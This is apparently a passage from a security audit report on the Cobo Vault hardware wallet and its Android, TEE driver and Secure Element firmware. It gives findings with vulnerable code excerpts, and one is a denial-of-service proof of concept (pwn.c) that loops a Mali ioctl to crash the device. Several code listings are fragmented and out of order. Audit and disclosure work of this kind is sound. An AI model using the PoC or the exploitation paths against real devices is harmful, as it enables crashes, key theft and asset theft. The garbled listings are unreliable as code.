Case V As shown in the following code snippets, _mali_ukk_mem_resize is called with the args pointer which points to a memory area controllable by possible attackers. In line 1006, the likely crafted args->psize is validated to ensure that it is aligned to MALI_MMU_PAGE_SIZE. As an error handling mechanism, MALI_DEBUG_ASSERT() is triggered when args->psize is not aligned to MALI_MMU_PAGE_SIZE, this leads to the NULL pointer dereference which crashes the system.

```

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random psize to fail the alignment check and crashes the system intentionally.

```
main()
{
    int fd;
    _mali_ukk_mem_resize_s x;

    fd = open("/dev/mali", O_RDONLY);

    if ( fd < 0 ) {
        printf("[-] Failed to open device (%s)\n", strerror(errno));
```
As shown in the following code snippets, `mali_soft_job_create` allocates a new job in line 158 whenever it is called with an user controllable `user_job`. Later on, the newly allocated `job` is assigned an id which equals `system->last_job_id++`. As an error handling mechanism, `MALI_DEBUG_ASSERT` () is triggered in line 182 when `job->id` reaches `MALI_SOFT_JOB_INVALID_ID`, this leads to the NULL pointer dereference which crashes the system.

```
struct mali_soft_job *mali_soft_job_create(struct mali_soft_job_system *system,
                                          mali_soft_job_type type, u64 user_job)
{
    struct mali_soft_job *job;
    _mali_osk_notification_t *notification = NULL;

    MALI_DEBUG_ASSUME_POINTER(system);
    MALI_DEBUG_ASSUME((MALI_SOFT_JOB_TYPE_USER_SIGNALED == type)
                      (MALI_SOFT_JOB_TYPE_SELF_SIGNALED == type));

    notification = _mali_osk_notification_create(_MALI_NOTIFICATION_SOFT_ACTIVATED,
                                              sizeof(_mali_uk_soft_job_activated_s));
    if (unlikely(NULL == notification)) {
        MALI_PRINT_ERROR(  "Mali Soft Job: failed to allocate notification"));
        return NULL;
    }

    job = _mali_osk_malloc(sizeof(struct mali_soft_job));
    if (unlikely(NULL == job)) {
        MALI_DEBUG_PRINT(2, ("Mali Soft Job: system alloc job failed. \n"));
        return NULL;
    }

    mali_soft_job_system_lock(system);
    job->system = system;
    job->id = system->last_job_id++;
    job->state = MALI_SOFT_JOB_STATE_ALLOCATED;
```
Listing 3.29: mali_soft_job.c

The DoS loophole could be triggered by the following attack code. As a bad actor, we can simply issuing the MALI_IOC_SOFT_JOB_START in an infinite loop to make the job->id reaches the MALI_SOFT_JOB_INVALID_ID, which takes less than one minute.

Listing 3.30: pwn.c

Recommendation As we see in the definition of MALI_DEBUG_ASSERT(), the DEBUG macro could be turned off to prevent the assertion crashes the system.

Listing 3.31: mali_soft_job.c

    _mali_osk_list_add(&(job->system_list), &(system->jobs_used));
    job->type = type;
    job->user_job = user_job;
    job->activated = MALI_FALSE;
    job->activated_notification = notification;
    _mali_osk_atomic_init(&job->refcount, 1);
    MALI_DEBUG_ASSERT(MALI_SOFT_JOB_STATE_ALLOCATED == job->state);
    MALI_DEBUG_ASSERT(system == job->system);
    MALI_DEBUG_ASSERT(MALI_SOFT_JOB_INVALID_ID != job->id);

    int fd;
    _mali_uk_soft_job_start_s x;
    u32 id;

    fd = open("/dev/mali", O_RDONLY);
    if ( fd < 0 ) {
        printf("[-] Failed to open device (%s)\n", strerror(errno));
        goto out;
    }
    printf("[+] Device opened at %d\n", fd);
    x.job_id_ptr = (u64)((u32)&id));
    while(1) {
        ioctl(fd, MALI_IOC_SOFT_JOB_START, &x);
    }

    close_out:
    close(fd);
    out:
    return 0;

    #else /* DEBUG */
3.4 Out-of-bounds Write in Secure Element Firmware

- ID: PVE-004
- Severity: Medium
- Likelihood: Low
- Impact: High
- Target: mason_commands.c, mason_wallet.c
- Category: Memory Buffer Errors [29]
- CWE subcategory: CWE-121 [11]

Description

In software, a stack buffer overflow or stack buffer overrun occurs when a program writes to a memory address on the program’s call stack outside of the intended data structure, which is usually a fixed-length buffer. The security SoC firmware retrieves data from serial port and interprets them into commands. Specifically, we found that there are a lot of serious risk in using this issue. All of the cases are as follows:

Case I  As shown in the following code snippets, in mason_execute_cmd(), the previously pushed command is searched from the stack by stack_search_CMDNo() in line 583. Later on, the index kept by unCMDNo is used to jump to the specific command handler in line 591.
Listing 3.32: mason_commands.c

However, when we look into stack_search_CMDNo(), we found that the memcpy() in line 431 fails to check the size of memory to copy, leading to possible out-of-bounds memory write. Since the punCMDNo is allocated from stack, the out-of-bounds write may result in control-flow hijacking.

Listing 3.33: mason_commands.c

Recommendation  Copy fixed size of memory to avoid out-of-bounds write.

Listing 3.34: mason_commands.c

Case II  As shown in the following code snippets, in mason_cmd0305_get_wallet(), we found that the memcpy() in line 1159 fails to check the size of memory to copy, leading to possible out-of-bounds memory write.
Listing 3.35: mason_commands.c

Since the path_string is allocated from stack, the out-of-bounds write may result in control-flow hijacking.

**Recommendation**  Check the length to avoid out-of-bounds write.
Case III We identified three unsafe `memcpy()` calls in `mason_cmd0307_sign_ECDSA()` as follows:

```c
if (stack_search_by_tag(pstS, &pstTLV, TLV_T_TOKEN))
{
    setting_token_t token = (0);
    memcpy(token.token, (uint8_t *)pstTLV->pV, pstTLV->L);
    token.length = pstTLV->L;
    if (!mason_token_verify(&token))
    {
        mason_token_delete();
        emRet = ERT_TokenVerifyFail;
    }
}
else
{
    emRet = ERT_needToken;
}
```

```c
if (stack_search_by_tag(pstS, &pstTLV, TLV_T_HD_PATH))
{
    path_len = pstTLV->L;
    path = (uint8_t *)pstTLV->pV;
    memcpy((uint8_t*)path_string, path, path_len);
    path_string[path_len] = 0;
}
else
{
    emRet = ERT_CommFailParam;
}
```

```c
if (stack_search_by_tag(pstS, &pstTLV, TLV_T_HASH))
{
    hash_len = pstTLV->L;
    memcpy(hash, pstTLV->pV, hash_len);
}
else
{
    emRet = ERT_CommFailParam;
}
```

Each of them retrieves the length directly from the user-controllable `pstTLV->L` and `memcpy()` from `pstTLV->pV` to a fixed-size memory buffer allocated from stack, leading to possible control-flow hijacking attacks.
Recommendation  Check the length to copy or copy fixed size of memory buffer.

3.5 Memory Buffer Size Overflow in TrustKernel TEE Driver

- ID: PVE-005
- Severity: Informational
- Likelihood: N/A
- Impact: High
- Target: tee_ta_mgmt.c
- Category: Memory Buffer Errors [29]
- CWE subcategory: CWE-131 [13]

Description

In the ioctl handler of the driver bound with /dev/tkcoredrv, the TEE_INSTALL_SYSTA_IOC cmd is dispatched to tee_install_sys_ta() with the user-space pointer, u_arg. Within tee_install_sys_ta(), the ta_inst_desc is filled with the content pointed by u_arg in line 193. With the second copy_from_user() call, the uuid is filled again with ta_inst_desc.uuid. Later on, a memory chunk is allocated with the size (sizeof(TEEC_UUID) + sizeof(uint32_t) + ta_inst_desc.ta_buf_size). However, this is an integer overflow while calculating the size of memory to be allocated.

Listing 3.40: tee_ta_mgmt.c

```c
if ((copy_from_user(&ta_inst_desc, u_arg, sizeof(struct tee_ta_inst_desc)))) {
    return -EFAULT;
}

if (copy_from_user(&uuid, ta_inst_desc.uuid, sizeof(TEEC_UUID))) {
    return -EFAULT;
}

if ((shm = tee_shm_alloc_from_rpc(tee, sizeof(TEEC_UUID) + sizeof(uint32_t) +
                                 ta_inst_desc.ta_buf_size, TEEC_MEM_NONSECURE)) == NULL) {
    pr_err("%s: tee_shm_alloc_ns(%uB) failed\n", __func__, ta_inst_desc.ta_buf_size);
    return -ENOMEM;
}
```

As shown in the following code snippets, sizeof(TEEC_UUID) is 16. Since sizeof(uint32_t) is 4, the total allocated size would be 0 when ta_inst_desc.ta_buf_size is (0x100000000 - 20) which equals 0xffffffff. Worse, the ta_inst_desc.ta_buf_size is never checked before the allocation.

```
typedef struct {
        uint32_t timeLow;
        uint16_t timeMid;
        uint16_t timeHiAndVersion;
        uint8_t clockSeqAndNode[8];
}...
```
After `shm_kva` is `vmap()`'ed in line 206, the `copy_from_user()` call in line 215 could corrupt the kernel memory as the size could be crafted as a really large number (e.g., `0xffffffff`) while the size of memory allocated is way smaller. This out-of-bounds memory write in kernel-space leads to possible privilege escalation attacks. Fortunately, the `copy_from_user()` function checks the range of user-space buffer, `ta_inst_desc.ta_buf`, so that a large `ta_inst_desc.ta_buf_size` cannot pass the check. We leave the likelihood of this loophole as N/A.

```c
if ((shm_kva = vmap(shm->ns.pages, shm->ns.nr_pages, VM_MAP, PAGE_KERNEL)) == NULL) {
    pr_err("%s: failed to vmap %zu pages
", __func__, shm->ns.nr_pages);
    r = -ENOMEM;
    goto exit;
}
memcpy(shm_kva, &uuid, sizeof(TEEC_UUID));
memcpy((char *) shm_kva + sizeof(TEEC_UUID), &ta_inst_desc.ta_buf_size, sizeof(uint32_t));

if ((left = copy_from_user(  
    (char *) shm_kva + sizeof(TEEC_UUID) + sizeof(uint32_t), ta_inst_desc.ta_buf,  
    ta_inst_desc.ta_buf_size))) {
Listing 3.42: tee_ta_mgmt.c
```

Recommendation Validate `ta_inst_desc.ta_buf_size` copied from user-space.

### 3.6 Weak Fingerprint Verification

- **ID:** PVE-006
- **Severity:** High
- **Likelihood:** Medium
- **Impact:** High
- **Target:** com/cobo/cold/fingerprint/
  - FingerprintKit.java
- **Category:** Business Logic Errors[24]
- **CWE subcategory:** CWE-288 [15]

**Description**

The Cobo Vault supports the fingerprint authentication which can be enabled by users. However, we found that the implementation of verifying the fingerprint could be easily bypassed with a customized or compromised Android system. Specifically, `startVerify()` verifies user’s fingerprint with the `FingerprintManager()`. If the input fingerprint passes the authentication process, the callback function `onAuthenticationSucceeded()` would be invoked. It means that the attacker could bypass the
the FingerprintManager() by calling the onAuthenticationSucceeded() directly. Even worse, the attacker could communicate with the Secure Element via serial port and pretend that she is fingerprint authenticated.

```java
    public void startVerify(@NonNull VerifyListener listener) {
        if (mCancellationSignal != null) {
            mCancellationSignal.cancel();
        }
        mCancellationSignal = new CancellationSignal();
        isVerifying = true;
        Log.w("fpKit", "fp kit startVerify");
        fp.authenticate(null, mCancellationSignal, 0,
                new FingerprintManager.AuthenticationCallback() {
                    @Override
                    public void onAuthenticationError(int errorCode, CharSequence errString) {
                        listener.onAuthenticationError(errorCode, errString);
                        isVerifying = false;
                        mCancellationSignal.cancel();
                    }
                    @Override
                    public void onAuthenticationHelp(int helpCode, CharSequence helpString) {
                        listener.onAuthenticationHelp(helpCode, helpString);
                    }
                    @Override
                    public void onAuthenticationSucceeded(FingerprintManager.AuthenticationResult result) {
                        listener.onAuthenticationSucceeded();
                        isVerifying = false;
                        mCancellationSignal.cancel();
                    }
                });
```  

Listing 3.43: com/cobo/cold/fingerprint/FingerprintKit.java

**Recommendation** Since the fingerprint verification mechanism on Android only verifies if the given fingerprint is legit or not, it’s not a good way to authenticate for the access to the Secure Element. There’s always a way to bypass the checks done by Android framework or system services without the victim’s fingerprint. For security reasons, we suggest to remove the fingerprint authentication feature which we consider a vulnerable point of the system. If this is a mandatory feature, we suggest to at least pop-up a warning message to let users know the risks. One better solution is to leverage the Android keystore [1] to generate cryptographic keys with the fingerprint. The keystore can ensure that the private key can’t be retrieved without the specific fingerprint. By sending the public key to the Secure Element, the fingerprint can be verified with a signature created with the private key.
3.7 Weak Password Verification

- **ID:** PVE-007
- **Severity:** High
- **Likelihood:** Medium
- **Impact:** High
- **Target:** com/cobo/cold/ui/views/PasswordModal.java
- **Category:** Business Logic Errors [24]
- **CWE subcategory:** CWE-288 [15]

**Description**

The user-defined password is the default authentication mechanism in Cobo Vault. However, we identified that the password is only verified in the application layer, which makes it easily to be bypassed as what we described in Section 3.6. Furthermore, the strength of the password is not checked when the user setup the password such that the $\text{SHA1(password + salt)}$ password verification is vulnerable to rainbow table attacks.

```java
binding.confirm.setOnClickListener(v -> {
    Handler handler = new Handler();
    binding.confirm.setVisibility(View.GONE);
    binding.progress.setVisibility(View.VISIBLE);
    AppExecutors.getInstance().networkIO().execute(() -> {
        boolean verified = Utilities.verifyPassword(activity, 
            HashUtil.pbkdf(password.get(), Utilities.getRandomSalt(activity)));
    
    Listing 3.44: com/cobo/cold/ui/views/PasswordModal.java
```

As shown in the above code snippet, the $\text{SHA1(password + salt)}$ is passed into `verifyPassword()` in line 124.

```java
public static boolean verifyPassword(Activity activity, String passwordSha1) {
    SharedPreferences sp = activity.getSharedPreferences(PREFERENCE_SECRET, 
        MODE_PRIVATE);
    return passwordSha1.equals(sp.getString(PREFERENCE_KEY_PASSWORD, ""));

    Listing 3.45: com/cobo/cold/Utilities.java
```

Inside `verifyPassword()`, the `passwordSha1` string is compared with the `PREFERENCE_KEY_PASSWORD` string retrieved from the Android root filesystem (`SharedPreferences`), which is not a safe way to keep password hashes.

**Recommendation** Verify the password inside the Secure Element.
3.8 Redundant API in Secure Element

- ID: PVE-008
- Severity: Informational
- Likelihood: N/A
- Impact: N/A
- Target: `mason_commands.c`
- Category: Coding Practice [23]
- CWE subcategory: CWE-1041 [10]

**Description**

The Secure Element (SE) is a microprocessor chip which can store sensitive data and run secure apps such as signing transactions. Since it provides a lot of core security function API for the upper layers of Cobo Vault, we checked all APIs and identified that some of them are redundant. The following functions can be removed directly to ensure the safety of the Cobo Vault:

```
1  mason_cmd0101_com_test()
2  mason_cmd0202_write_sn()
```

Listing 3.46: Redundant API

**Recommendation** Remove obsolete/redundant API.

3.9 Risk of Mnemonic Theft in Application Layer

- ID: PVE-009
- Severity: High
- Likelihood: Medium
- Impact: High
- Target: `com/cobo/cold/viewmodel/SetupVaultViewModel.java`
- Category: Info. Mgmt Errors [28]
- CWE subcategory: CWE-316 [16]

**Description**

While creating a new wallet or importing a wallet with the mnemonic, the Cobo Vault shows the mnemonic on the screen and asks the user to verify the mnemonic. In the meantime, the plaintext mnemonic is temporarily stored in the memory, which leads to the risks of mnemonic theft if bad actors somehow dump the memory.

```
40  private String mnemonic;
41
42  public void setMnemonic(String mnemonic) {
43    this.mnemonic = mnemonic;
44  }
```

Listing 3.47: `com/cobo/cold/ui/views/SetupVaultViewModel.java`
As shown in the above code snippets, the `setMnemonic()` method in `PasswordModal.java` stores the mnemonic words in memory. The `validateMnemonic()` method in `MnemonicInputFragment.java` and `verifyMnemonic()` in `ConfirmMnemonicFragment.java` invoke the `setMnemonic()` method in two different scenarios, the creation and import of wallets, respectively. Here, we found no further handling logic of the sensitive information (i.e., the mnemonic) in memory.

**Recommendation** Clean up the mnemonic in memory. In addition, we noticed that it is inevitable to leave traces in the memory cache even if we do garbage collection right after loading/removing sensitive data (e.g., password, mnemonic, etc.) into/from memory. We leave it as a known issue.
3.10 Risk of Mnemonic Theft in Secure Element

- **ID:** PVE-010
- **Severity:** Low
- **Likelihood:** Low
- **Impact:** High
- **Target:** mason_wallet.c
- **Category:** Credentials Mgmt Errors [26]
- **CWE subcategory:** CWE-256 [14]

**Description**

As a hardware feature, the Secure Element has a built-in flash integrated in the SoC which stores data with hardware-based encryption. With the hardware encryption mechanism, bad actors have no chance to retrieve the plaintext data from the flash through external channels (e.g., I/O bus). This means the only way to get plaintext data from the flash is the firmware running on the Secure Element, which makes the security of the encryption data (e.g., mnemonic) depend on the integrity of the Secure Element firmware. Since the mnemonic are written into the flash with no software encryption as shown in the following code snippets, the hardware encryption scheme leads to risks of mnemonic theft.

```
bool mason_mnemonic_write(mnemonic_t *mnemonic) {
    bool is_succeed = false;
    is_succeed = mason_storage_write_buffer((uint8_t *)mnemonic, sizeof(*mnemonic), FLASH_ADDR_MNOMONIC_512B);
    return is_succeed;
}
```

Listing 3.50: mason_wallet.c

Fortunately, the firmware integrity is ensured by the asymmetric cryptography mechanism in the patched codebase, which makes the Secure Element firmware hard to be compromised. Based on that, we set the likelihood of this vulnerability to **low**.

**Recommendation** Encrypt the mnemonic with a password or fingerprint which is not kept in the Secure Element. Therefore, the bad actor cannot decode the encrypted mnemonic even she has the control of the Secure Element (e.g., control-flow hijacking).
3.11 Missing Authentication before Deleting Mnemonics in Secure Element

- ID: PVE-011
- Severity: Low
- Likelihood: Low
- Impact: Medium
- Target: mason_commands.c
- Category: Business Logic Errors [24]
- CWE subcategory: CWE-288 [15]

Description

In Cobo Vault, there’s a feature to reset the wallet, which essentially deletes the mnemonics. With the password/fingerprint authenticated in the application layer, the mason_delete_wallet() function in the Secure Element firmware deletes the mnemonics data. However, if the attacker somehow bypasses the application layer and calls mason_delete_wallet(), the mnemonics stored in the Secure Element could be directly cleared. In addition, there’s no warning popped up when an user resets the wallet. This results in the loss of digital assets if the victim makes a mistake.

Recommendation
Verify the password/fingerprint inside the Secure Element before calling mason_delete_wallet(). In addition, the Cobo Vault should pop up a warning message an user resets the wallet.

3.12 Missing Authentication before Signing Transactions in Secure Element

- ID: PVE-012
- Severity: High
- Likelihood: Medium
- Impact: High
- Target: mason_commands.c
- Category: Business Logic Errors [24]
- CWE subcategory: CWE-288 [15]

Description

In Cobo Vault, an essential feature is signing the transactions inside the Secure Element with the transaction data provided by the hot wallet. The signed transactions can later be broadcasted to the blockchain by the hot wallet app. While reviewing the codebase of the Secure Element, we found that there's a risk that the bad actor could bypass the authentication and sign arbitrary transactions inside Secure Element. Specifically, the mason_cmd0307_sign_ECDSA() function in the Secure Element firmware is called when the password/fingerprint authentication is passed in the application layer.
However, if an attacker sends the raw transaction data through the serial port directly into the Secure Element, she can use the `mason_cmd0307_sign_ECDSA()` function to steal all the crypto assets from the victim’s cold wallet.

**Recommendation**  Verify the password/fingerprint inside the Secure Element before calling `mason_cmd0307_sign_ECDSA()`.

### 3.13 Missing Integrity Check on Secure Element Firmware

- **ID:** PVE-013
- **Severity:** High
- **Likelihood:** Medium
- **Impact:** High
- **Target:** mason_iap.c
- **Category:** Business Logic Errors
- **CWE subcategory:** CWE-288

**Description**

In the review of Secure Element firmware source code, we found that the integrity of the firmware binary file is not verified while upgrading the firmware. Although the Cobo Vault performs the integrity check on the whole firmware upgrade package (`update.zip`) in the application layer, it leaves risks of writing malicious programs directly into the Secure Element through the serial port. With the crafted Secure Element firmware, the attackers could easily dump the mnemonics and other sensitive data.

**Recommendation**  Implement an asymmetric cryptography scheme to check the integrity of the firmware inside Secure Element. While packing the firmware, use the private key to create a signature with the hash of the firmware binary and append it into the firmware package. Inside the Secure Element, validate the signature of the firmware package before writing it into the flash. This ensures that the Secure Element firmware is the official release version.
3.14 Duplicate Code in Secure Element

- ID: PVE-014
- Severity: Informational
- Likelihood: N/A
- Impact: N/A
- Target: mason_commands.c
- Category: Coding Practices [23]
- CWE subcategory: CWE-1041 [10]

**Description**

While reviewing the Secure Element firmware source code, we identified that there’s lots of duplicate code which makes the codebase hard to maintain. Most of them are related to searching the command previously pushed into stack and retrieving the corresponding (type, length, value) tuple.

```c
static void mason_cmd0901_usrpwd_modify(void *pContext)
{
    emRetType emRet = ERT_OK;
    uint8_t bufRet[2] = {0x00, 0x00};
    pst STACK_TYPE pstS = (pst STACK_TYPE)pContext;
    st STACK_TYPE stStack = {{NULL}, -1};
    stack ELEMENT_TYPE pstTLV = NULL;
    uint8_t * cur_pwd = NULL;
    uint16_t cur_pwd_len = 0;
    uint8_t * new_pwd = NULL;
    uint16_t new_pwd_len = 0;
    bool allow_modify = false;

    mason_cmd_init_outputTLVArray(&stStack);
    if (emRet == ERT_OK && stack_search_by_tag(pstS, &pstTLV, TLV_T_CMD))
    {
        mason_cmd_append_ele_to_outputTLVArray(&stStack, pstTLV);
    }
    else
    {
        emRet = ERT_CommFailParam;
    }

    if (emRet == ERT_OK)
    {
        if (stack_search_by_tag(pstS, &pstTLV, TLV_T_USRPWD_CUR))
        {
            cur_pwd = (uint8_t *)pstTLV->pV;
            cur_pwd_len = pstTLV->L;
            // compare cur pass and store pass
            if (mason_usrpwd_verify(cur_pwd, cur_pwd_len))
            {
                mason_usrpwd_reset();
                allow_modify = true;
            }
        }
    }
}
```
For example, line 2000-2008 in the above code snippet, is implemented in almost all command handler functions in the Secure Element firmware. After checking if the TLV_T_CMD is in the stack, most command handler functions also check the specific command (e.g., TLV_T_USRPWD_CUR) and perform the corresponding process (line 2012-2031). We believe the code flow could be greatly simplified and modularized.

**Recommendation**  Code refactoring.

### 3.15 Arbitrary Memory Write in Secure Element

- **ID:** PVE-015
- **Severity:** Medium
- **Likelihood:** Low
- **Impact:** High
- **Target:** mason_iap.c
- **Category:** Memory Buffer Errors [29]
- **CWE subcategory:** CWE-787 [12]

**Description**

The Cobo Vault has a Secure Element which safely stores the private keys and signs transactions sent by the wallet App through serial port. In some cases, Cobo may require users to update the firmware of the Secure Element with a signed firmware package which passes the integrity check. In our analysis, we identified a loophole in the firmware upgrade process which could be exploited to corrupt the firmware or even compromise the private keys. As shown in the following code snippets, the `mason_iap_package_process()` is called with a memory buffer pointed by `pBin` along with the length of the buffer, `binLen`. In line 172, `pBin` is sent into `mason_iap_boot_decryption()` for decryption with the decrypted output stores in a local buffer, `decryption_output`. After the decryption, the first four bytes of `decryption_output` are extracted and stored into `addr` in line 177. By adding `0x10000` into `addr`, the address is used as the offset for a page-wise memory write operation in line 195.
Confidential

Listing 3.52: mason_iap.c

Here comes the interesting part. If the decryption key or algorithm is somehow compromised, the bad actor could use this loophole to corrupt an arbitrary page in the address space of the Secure Element. The results could be a DoS attack or even hijack the control flow of mason_iap_package_process() to compromise the mnemonics which are also stored in a page of the firmware flash.

**Recommendation** Validate the addr to ensure the page-wise memory write can only update the firmware code partition. Since the firmware is upgraded piece-by-piece, we also recommend performing an overall integrity check after the firmware upgrade is completed. This may requires extra memory or flash space.
### 3.16 Denial-of-Service Loophole in perf_event

- **ID:** PVE-016
- **Severity:** Informational
- **Likelihood:** N/A
- **Impact:** Low
- **Target:** kernel/events/core.c
- **Category:** Concurrency Issues [25]
- **CWE subcategory:** CWE-821 [21]

**Description**

This is a known loophole detected by syzkaller [34]. Specifically, `__perf_event_period()` performs another `raw_spin_lock_irq(&ctx->lock)` inside. However, in line 3938, when `ctx->is_active` is `false`, the lock held in line 3937 would be a deadlock inside `__perf_event_period()`. Fortunately, the `perf_event_open` system call is not reachable due to SELinux policy, we set the likelihood to N/A, which makes the severity of this loophole informational.

```
3933 retry:
3934    if (!task_function_call(task, __perf_event_period, &pe))
3935        return 0;
3937    raw_spin_lock_irq(&ctx->lock);
3938    if (ctx->is_active) {
3939        raw_spin_unlock_irq(&ctx->lock);
3940        task = ctx->task;
3941        goto retry;
3942    }
3944    __perf_event_period(&pe);
```

**Listing 3.53:** kernel/event/core.c

```
3873 static int __perf_event_period(void *info)
3874 {
3875    struct period_event *pe = info;
3876    struct perf_event *event = pe->event;
3877    struct perf_event_context *ctx = event->ctx;
3878    u64 value = pe->value;
3879    bool active;
3881    raw_spin_lock(&ctx->lock);
```

**Listing 3.54:** kernel/event/core.c

**Recommendation**  Apply this patch [35].
3.17 Denial-of-Service Loophole in Sound Driver

- ID: PVE-017
- Severity: Informational
- Likelihood: N/A
- Impact: Low
- Target: sound/core/seq
- Category: Concurrency Issues [25]
- CWE subcategory: CWE-362 [17]

**Description**

This is a known loophole reported as CVE-2018-1000004 [3].

**Recommendation** Apply these two patches [6, 7].

3.18 Use of Out-of-range Pointer Offset in Secure Element

- ID: PVE-018
- Severity: Medium
- Likelihood: Low
- Impact: High
- Target: mason_iap.c
- Category: Pointer Issues [30]
- CWE subcategory: CWE-823 [22]

**Description**

The Secure Element retrieves data from serial port and interprets them into commands. Specifically, in `mason_execute_cmd()`, the previously pushed command is searched from the stack by `stack_search_CMDNo()` in line 583. Later on, the index kept by `unCMDNo` is used to jump to the specific command handler in line 591.

```c
void mason_execute_cmd(pstStackType pstStack) {
    stackElementType pstTLV = NULL;
    unCMDNoType unCMDNo = {0};
    stack_search_CMDNo(pstStack, &pstTLV, &unCMDNo);

    if (unCMDNo.buf[0] > CMD_H_MAX || unCMDNo.buf[1] > CMD_H_MAX) {
        mason_cmd_invalid((void*)pstStack);
        return;
    }

    gstCmdHandlers[unCMDNo.buf[0] - 1][unCMDNo.buf[1] - 1].pFunc((void*)pstStack);
}
```
However, when we look into stack_search_CMDNo(), we found that the tag 0x0001 is searched and the caller does not check the return value. This results in the use of out-of-range function pointer against the gstCmdHandlers array when the attacker sends a non-0x0001 command through the serial port. The reason is that the default value of unCMDNo is set to 0, which makes the malicious command bypasses the checks in line 585 in the code snippets above.

```c
bool stack_search_CMDNo(pstStackType pstStack, stackElementType *pelement, unCMDNoType *punCMDNo)
{
    stackElementType *pstTLV = pelement;
    if (stack_search_by_tag(pstStack, pstTLV, 0x0001)) {
        memcpy(punCMDNo->buf, (*pstTLV)->pV, (*pstTLV)->L);
        return true;
    }
    return false;
}
```

**Recommendation**  Check the return value of stack_search_CMDNo().

### 3.19 Out-of-bounds Write in TrustKernel TEE Driver

- **ID:** PVE-019
- **Severity:** Critical
- **Likelihood:** High
- **Impact:** High
- **Target:** tee_supp_com.c
- **Category:** Memory Buffer Errors [29]
- **CWE subcategory:** CWE-787 [20]

**Description**

In the write handler of the driver bound with /dev/tkcoredrv, tee_supp_write() copies length of the user-controllable buffer into kernel space through copy_from_user() (line 215). It means the content of rpc->commFromUser could be manipulated by an attacker who write() to the device node.

```c
if (length > 0 && length < sizeof(rpc->commFromUser)) {
    uint32_t i;
    unsigned long r;
    mutex_lock(&rpc->insync);
    ```
Listing 3.57: tee_supp_com.c

However, in line 227, the for-loop retrieves the type and buffer from the rpc->commFromUser.cmds[] array with an unchecked boundary rpc->commFromUser.nbr_bf. Specifically, the buffer pointer retrieved from rpc->commFromUser.cmds[i] (line 229) would be passed into find_vma() to find the memory segment, vma, which matches the address (line 237). If the vma is not NULL and vma->vm_private_data is not NULL as well, shm->resv.paddr would be written into rpc->commFromUser.cmds[i].buffer in line 254. Since the attacker can craft the rpc->commFromUser.nbr_bf, this results in an out-of-bounds write in kernel space, leading to privilege escalation.

Listing 3.58: tee_supp_com.c

Recommendation Validate the rpc->commFromUser.nbr_bf from user-space. Also, fix the sanity checks in line 209 (i.e., the length == sizeof(rpc->commFromUser) case). Otherwise, the write() operation would always fail when user wants to write TEE_RPC_BUFFER_NUMBER (5) cmds into the driver.
4 Conclusion

In this audit, we thoroughly analyzed the Cobo Vault documentation and implementation. The audited system does involve various intricacies in both design and implementation. The current code base is well organized and those identified issues are promptly confirmed and fixed.

We emphasize that using a hardware wallet alone does not make you invincible against social engineering, physical threats or human errors. As always, users need to use common sense, and apply basic security principles to protect their valuable assets.
References


[34] Dmitry Vyukov. deadlock in perf_ioctl. https://groups.google.com/forum/#!msg/syzkaller/pOiJU5zI4/UXIsO9BrDwAJ.